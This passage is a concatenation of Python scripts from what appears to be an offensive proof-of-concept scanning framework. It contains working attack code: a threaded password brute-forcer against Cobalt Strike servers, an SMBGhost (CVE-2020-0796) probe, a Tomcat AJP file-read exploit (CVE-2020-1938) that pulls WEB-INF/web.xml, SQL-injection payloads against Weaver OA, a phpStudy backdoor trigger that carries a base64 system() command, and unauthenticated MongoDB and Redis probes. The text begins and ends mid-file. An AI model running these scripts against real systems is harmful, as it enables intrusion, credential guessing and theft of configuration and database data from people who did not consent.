traceback.print_exc() 91 | pass 92 | 93 | 94 | def poc(url): 95 | # url = "http://www.example.org:22222/default.html?ct=32&op=92&item=98" 96 | # --> host:www.example.org port:22222 97 | if url[:4] != "http": 98 | url = "http://" + url 99 | o = urlparse(url) 100 | host = socket.gethostbyname(o.hostname) 101 | port = int(o.port) if o.port else 50050 102 | 103 | passwords = Queue() 104 | with open(paths.DATA_PATH + '/cobalt-strike.txt') as f: 105 | for password in f.read().splitlines(): 106 | passwords.put(password) 107 | result = [] 108 | if len(password) <= 100: 109 | threads_count = len(password) 110 | else: 111 | threads_count = 100 112 | gevent.joinall([gevent.spawn(password_check, passwords, host, port, result) for i in range(threads_count)]) 113 | 114 | if result: 115 | return result 116 | else: 117 | return False 118 | -------------------------------------------------------------------------------- /scripts/cve-2020-0796.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import socket 10 | import struct 11 | from plugin.target_parse import url2ip 12 | 13 | pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' 14 | 15 | 16 | def poc(url): 17 | host = url2ip(url)[0] 18 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | s.settimeout(5) 20 | try: 21 | s.connect((host, 445)) 22 | s.send(pkt) 23 | nb, = struct.unpack(">I", s.recv(4)) 24 | res = s.recv(nb) 25 | if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00": 26 | return True 27 | except: 28 | s.close() 29 | pass 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /scripts/cve-2020-1938.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | CVE-2020-1938 : Tomcat-Ajp 协议漏洞分析 https://www.anquanke.com/post/id/199448 11 | 代码改自https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/ 12 | """ 13 | 14 | import struct 15 | import socket 16 | from urllib.parse import urlparse 17 | 18 | socket.setdefaulttimeout(5) 19 | # Some references: 20 | # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 21 | def pack_string(s): 22 | if s is None: 23 | return struct.pack(">h", -1) 24 | l = len(s) 25 | return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) 26 | 27 | 28 | def unpack(stream, fmt): 29 | size = struct.calcsize(fmt) 30 | buf = stream.read(size) 31 | return struct.unpack(fmt, buf) 32 | 33 | 34 | def unpack_string(stream): 35 | size, = unpack(stream, ">h") 36 | if size == -1: # null string 37 | return None 38 | res, = unpack(stream, "%ds" % size) 39 | stream.read(1) # \0 40 | return res 41 | 42 | 43 | class AjpBodyRequest(object): 44 | # server == web server, container == servlet 45 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 46 | MAX_REQUEST_LENGTH = 8186 47 | 48 | def __init__(self, data_stream, data_len, data_direction=None): 49 | self.data_stream = data_stream 50 | self.data_len = data_len 51 | self.data_direction = data_direction 52 | 53 | def serialize(self): 54 | data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 55 | if len(data) == 0: 56 | return struct.pack(">bbH", 0x12, 0x34, 0x00) 57 | else: 58 | res = struct.pack(">H", len(data)) 59 | res += data 60 | if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 61 | header = struct.pack(">bbH", 0x12, 0x34, len(res)) 62 | else: 63 | header = struct.pack(">bbH", 0x41, 0x42, len(res)) 64 | return header + res 65 | 66 | def send_and_receive(self, socket, stream): 67 | while True: 68 | data = self.serialize() 69 | socket.send(data) 70 | r = AjpResponse.receive(stream) 71 | while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 72 | r = AjpResponse.receive(stream) 73 | 74 | if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 75 | break 76 | 77 | 78 | class AjpForwardRequest(object): 79 | _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range( 80 | 28) 81 | REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 82 | 'TRACE': TRACE} 83 | # server == web server, container == servlet 84 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 85 | COMMON_HEADERS = ["SC_REQ_ACCEPT", 86 | "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", 87 | "SC_REQ_AUTHORIZATION", 88 | "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", 89 | "SC_REQ_COOKIE2", 90 | "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 91 | ] 92 | ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", 93 | "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 94 | 95 | def __init__(self, data_direction=None): 96 | self.prefix_code = 0x02 97 | self.method = None 98 | self.protocol = None 99 | self.req_uri = None 100 | self.remote_addr = None 101 | self.remote_host = None 102 | self.server_name = None 103 | self.server_port = None 104 | self.is_ssl = None 105 | self.num_headers = None 106 | self.request_headers = None 107 | self.attributes = None 108 | self.data_direction = data_direction 109 | 110 | def pack_headers(self): 111 | self.num_headers = len(self.request_headers) 112 | res = "" 113 | res = struct.pack(">h", self.num_headers) 114 | for h_name in self.request_headers: 115 | if h_name.startswith("SC_REQ"): 116 | code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 117 | res += struct.pack("BB", 0xA0, code) 118 | else: 119 | res += pack_string(h_name) 120 | 121 | res += pack_string(self.request_headers[h_name]) 122 | return res 123 | 124 | def pack_attributes(self): 125 | res = b"" 126 | for attr in self.attributes: 127 | a_name = attr['name'] 128 | code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 129 | res += struct.pack("b", code) 130 | if a_name == "req_attribute": 131 | aa_name, a_value = attr['value'] 132 | res += pack_string(aa_name) 133 | res += pack_string(a_value) 134 | else: 135 | res += pack_string(attr['value']) 136 | res += struct.pack("B", 0xFF) 137 | return res 138 | 139 | def serialize(self): 140 | res = "" 141 | res = struct.pack("bb", self.prefix_code, self.method) 142 | res += pack_string(self.protocol) 143 | res += pack_string(self.req_uri) 144 | res += pack_string(self.remote_addr) 145 | res += pack_string(self.remote_host) 146 | res += pack_string(self.server_name) 147 | res += struct.pack(">h", self.server_port) 148 | res += struct.pack("?", self.is_ssl) 149 | res += self.pack_headers() 150 | res += self.pack_attributes() 151 | if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 152 | header = struct.pack(">bbh", 0x12, 0x34, len(res)) 153 | else: 154 | header = struct.pack(">bbh", 0x41, 0x42, len(res)) 155 | return header + res 156 | 157 | def parse(self, raw_packet): 158 | stream = StringIO(raw_packet) 159 | self.magic1, self.magic2, data_len = unpack(stream, "bbH") 160 | self.prefix_code, self.method = unpack(stream, "bb") 161 | self.protocol = unpack_string(stream) 162 | self.req_uri = unpack_string(stream) 163 | self.remote_addr = unpack_string(stream) 164 | self.remote_host = unpack_string(stream) 165 | self.server_name = unpack_string(stream) 166 | self.server_port = unpack(stream, ">h") 167 | self.is_ssl = unpack(stream, "?") 168 | self.num_headers, = unpack(stream, ">H") 169 | self.request_headers = {} 170 | for i in range(self.num_headers): 171 | code, = unpack(stream, ">H") 172 | if code > 0xA000: 173 | h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 174 | else: 175 | h_name = unpack(stream, "%ds" % code) 176 | stream.read(1) # \0 177 | h_value = unpack_string(stream) 178 | self.request_headers[h_name] = h_value 179 | 180 | def send_and_receive(self, socket, stream, save_cookies=False): 181 | res = [] 182 | i = socket.sendall(self.serialize()) 183 | if self.method == AjpForwardRequest.POST: 184 | return res 185 | 186 | r = AjpResponse.receive(stream) 187 | assert r.prefix_code == AjpResponse.SEND_HEADERS 188 | res.append(r) 189 | if save_cookies and 'Set-Cookie' in r.response_headers: 190 | self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] 191 | 192 | # read body chunks and end response packets 193 | while True: 194 | r = AjpResponse.receive(stream) 195 | res.append(r) 196 | if r.prefix_code == AjpResponse.END_RESPONSE: 197 | break 198 | elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 199 | continue 200 | else: 201 | raise NotImplementedError 202 | break 203 | 204 | return res 205 | 206 | 207 | class AjpResponse(object): 208 | _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 209 | COMMON_SEND_HEADERS = [ 210 | "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 211 | "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 212 | ] 213 | 214 | def parse(self, stream): 215 | # read headers 216 | self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 217 | 218 | if self.prefix_code == AjpResponse.SEND_HEADERS: 219 | self.parse_send_headers(stream) 220 | elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 221 | self.parse_send_body_chunk(stream) 222 | elif self.prefix_code == AjpResponse.END_RESPONSE: 223 | self.parse_end_response(stream) 224 | elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 225 | self.parse_get_body_chunk(stream) 226 | else: 227 | raise NotImplementedError 228 | 229 | def parse_send_headers(self, stream): 230 | self.http_status_code, = unpack(stream, ">H") 231 | self.http_status_msg = unpack_string(stream) 232 | self.num_headers, = unpack(stream, ">H") 233 | self.response_headers = {} 234 | for i in range(self.num_headers): 235 | code, = unpack(stream, ">H") 236 | if code <= 0xA000: # custom header 237 | h_name, = unpack(stream, "%ds" % code) 238 | stream.read(1) # \0 239 | h_value = unpack_string(stream) 240 | else: 241 | h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001] 242 | h_value = unpack_string(stream) 243 | self.response_headers[h_name] = h_value 244 | 245 | def parse_send_body_chunk(self, stream): 246 | self.data_length, = unpack(stream, ">H") 247 | self.data = stream.read(self.data_length + 1) 248 | 249 | def parse_end_response(self, stream): 250 | self.reuse, = unpack(stream, "b") 251 | 252 | def parse_get_body_chunk(self, stream): 253 | rlen, = unpack(stream, ">H") 254 | return rlen 255 | 256 | @staticmethod 257 | def receive(stream): 258 | r = AjpResponse() 259 | r.parse(stream) 260 | return r 261 | 262 | 263 | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 264 | fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 265 | fr.method = method 266 | fr.protocol = "HTTP/1.1" 267 | fr.req_uri = req_uri 268 | fr.remote_addr = target_host 269 | fr.remote_host = None 270 | fr.server_name = target_host 271 | fr.server_port = 80 272 | fr.request_headers = { 273 | 'SC_REQ_ACCEPT': 'text/html', 274 | 'SC_REQ_CONNECTION': 'keep-alive', 275 | 'SC_REQ_CONTENT_LENGTH': '0', 276 | 'SC_REQ_HOST': target_host, 277 | 'SC_REQ_USER_AGENT': 'Mozilla', 278 | 'Accept-Encoding': 'gzip, deflate, sdch', 279 | 'Accept-Language': 'en-US,en;q=0.5', 280 | 'Upgrade-Insecure-Requests': '1', 281 | 'Cache-Control': 'max-age=0' 282 | } 283 | fr.is_ssl = False 284 | fr.attributes = [] 285 | return fr 286 | 287 | 288 | class Tomcat(object): 289 | def __init__(self, target_host, target_port): 290 | self.target_host = target_host 291 | self.target_port = target_port 292 | 293 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 294 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 295 | self.socket.connect((target_host, target_port)) 296 | self.stream = self.socket.makefile("rb") 297 | 298 | def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): 299 | self.req_uri = req_uri 300 | self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, 301 | method=AjpForwardRequest.REQUEST_METHODS.get(method)) 302 | # print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 303 | if user is not None and password is not None: 304 | self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ( 305 | "%s:%s" % (user, password)).encode('base64').replace('\n', '') 306 | for h in headers: 307 | self.forward_request.request_headers[h] = headers[h] 308 | for a in attributes: 309 | self.forward_request.attributes.append(a) 310 | responses = self.forward_request.send_and_receive(self.socket, self.stream) 311 | if len(responses) == 0: 312 | return None, None 313 | snd_hdrs_res = responses[0] 314 | data_res = responses[1:-1] 315 | # if len(data_res) == 0: 316 | # print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) 317 | return snd_hdrs_res, data_res 318 | 319 | 320 | ''' 321 | javax.servlet.include.request_uri 322 | javax.servlet.include.path_info 323 | javax.servlet.include.servlet_path 324 | ''' 325 | 326 | import traceback 327 | def poc(url): 328 | if not url.startswith("http"): 329 | url = "http://" + url 330 | o = urlparse(url) 331 | host = socket.gethostbyname(o.hostname) 332 | port = o.port if o.port else 8009 333 | try: 334 | t = Tomcat(host, port) 335 | _, data = t.perform_request('/asdf', attributes=[ 336 | {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, 337 | {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', "WEB-INF/web.xml"]}, 338 | {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, 339 | ]) 340 | # print('----------------------------') 341 | # print("".join([d.data.decode() for d in data])) 342 | if "" not in res.text\ 34 | and "Login.jsp" not in res.text and "Error" not in res.text: 35 | return url + "\tpayload:" + data_payload 36 | except: 37 | pass 38 | return False 39 | -------------------------------------------------------------------------------- /scripts/fw_sql.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | 泛微OA mssql与oracle SQL注入 11 | refer: https://www.anquanke.com/post/id/188224 12 | auth: B1ain 13 | """ 14 | from lib.core.Request import request 15 | from plugin.target_parse import get_standard_url 16 | 17 | url_payload = "/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333" 18 | payload1 = """formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,@@version order by (((1""" 19 | payload2 = """formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,value from v$parameter order by (((1""" 20 | 21 | def poc(url): 22 | headers = { 23 | 'Content-Type': 'application/x-www-form-urlencoded', 24 | } 25 | target = get_standard_url(url) 26 | url = target + url_payload 27 | for payload in (payload1, payload2): 28 | try: 29 | res = request.post(url, data=payload, headers=headers, timeout=5, allow_redirects=False) 30 | if "系统提醒工作流" in res.text and "403" not in res.text: 31 | if "@@version" in payload: 32 | return target + "\tmssql" 33 | else: 34 | return target + "\toracle" 35 | except: 36 | pass 37 | return False 38 | -------------------------------------------------------------------------------- /scripts/mongodb_unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | # mongodb no certification required 9 | 10 | import socket 11 | from urllib.parse import urlparse 12 | import binascii 13 | import traceback 14 | 15 | 16 | def poc(url): 17 | # url = "http://www.example.org:22222/default.html?ct=32&op=92&item=98" 18 | # --> host:www.example.org port:22222 19 | if url[:4] != "http": 20 | url = "http://" + url 21 | o = urlparse(url) 22 | host = socket.gethostbyname(o.hostname) 23 | port = o.port if o.port else 27017 24 | try: 25 | socket.setdefaulttimeout(5) 26 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | s.connect((host, port)) # if port are not open there will raise 28 | data = binascii.a2b_hex("430000000300000000000000d40700000000000061646d696e2e24636d640000000000" 29 | "ffffffff1c000000016c69737444617461626173657300000000000000f03f00") 30 | s.send(data) 31 | result = s.recv(500) # if not mongo there will raise 32 | if "databases".encode('utf-8') in result: 33 | return "{}:{}".format(host, port) 34 | return False 35 | 36 | except: 37 | # traceback.print_exc() 38 | return False 39 | -------------------------------------------------------------------------------- /scripts/phpstudy_backdoor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | phpstudy后门检测脚本 11 | 漏洞分析: 12 | https://www.freebuf.com/articles/others-articles/215406.html 13 | https://mp.weixin.qq.com/s/t-P-n98ZydP3aSCdC0C9hQ 14 | """ 15 | 16 | 17 | from lib.core.Request import request 18 | from plugin.target_parse import get_standard_url 19 | 20 | 21 | def poc(url): 22 | head={ 23 | 'Accept-Encoding':'gzip,deflate', 24 | 'Accept-Charset':'c3lzdGVtKCdlY2hvIHBocHN0dWR5X2JhY2tkb29yX2ZsYWcnKTs=' 25 | } 26 | target = get_standard_url(url) 27 | try: 28 | res = request.get(url=target, headers=head, timeout=5, allow_redirects=False) 29 | if res.status_code == 200 and res.text.startswith("phpstudy_backdoor_flag"): 30 | return url 31 | except: 32 | pass 33 | return False 34 | -------------------------------------------------------------------------------- /scripts/redis_unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import socket 10 | from urllib.parse import urlparse 11 | import traceback 12 | 13 | 14 | def poc(url): 15 | try: 16 | socket.setdefaulttimeout(5) 17 | 18 | if not url.startswith("http"): 19 | url = "http://" + url 20 | o = urlparse(url) 21 | 22 | host = socket.gethostbyname(o.hostname) 23 | port = int(o.port) if o.port else 6379 24 | 25 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 26 | s = socket.socket() 27 | s.connect((host, port)) 28 | s.send(payload.encode('utf-8')) 29 | recv_data = s.recv(1024) 30 | s.close() 31 | if recv_data and b'redis_version' in recv_data: 32 | return "{}:{}".format(host, port) 33 | except: 34 | # traceback.print_exc() 35 | return False 36 | -------------------------------------------------------------------------------- /scripts/seeyon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import base64 10 | from lib.core.Request import request 11 | import hashlib 12 | from urllib.parse import urlparse 13 | from plugin.random_ua import get_random_ua 14 | 15 | def f_base64decode(cipherlist): 16 | base64list = 'gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6' 17 | length = len(cipherlist) 18 | group = length / 4 19 | s = '' 20 | string = '' 21 | 22 | for i in range(int(group) - 1): 23 | j = i * 4 24 | s = cipherlist[j:j + 4] 25 | string += chr(((base64list.index(s[0])) << 2) + ((base64list.index(s[1])) >> 4)) 26 | string += chr(((base64list.index(s[1]) & 0x0f) << 4) + ((base64list.index(s[2])) >> 2)) 27 | string += chr(((base64list.index(s[2]) & 0x03) << 6) + ((base64list.index(s[3])))) 28 | j = (group - 1) * 4 29 | print(j) 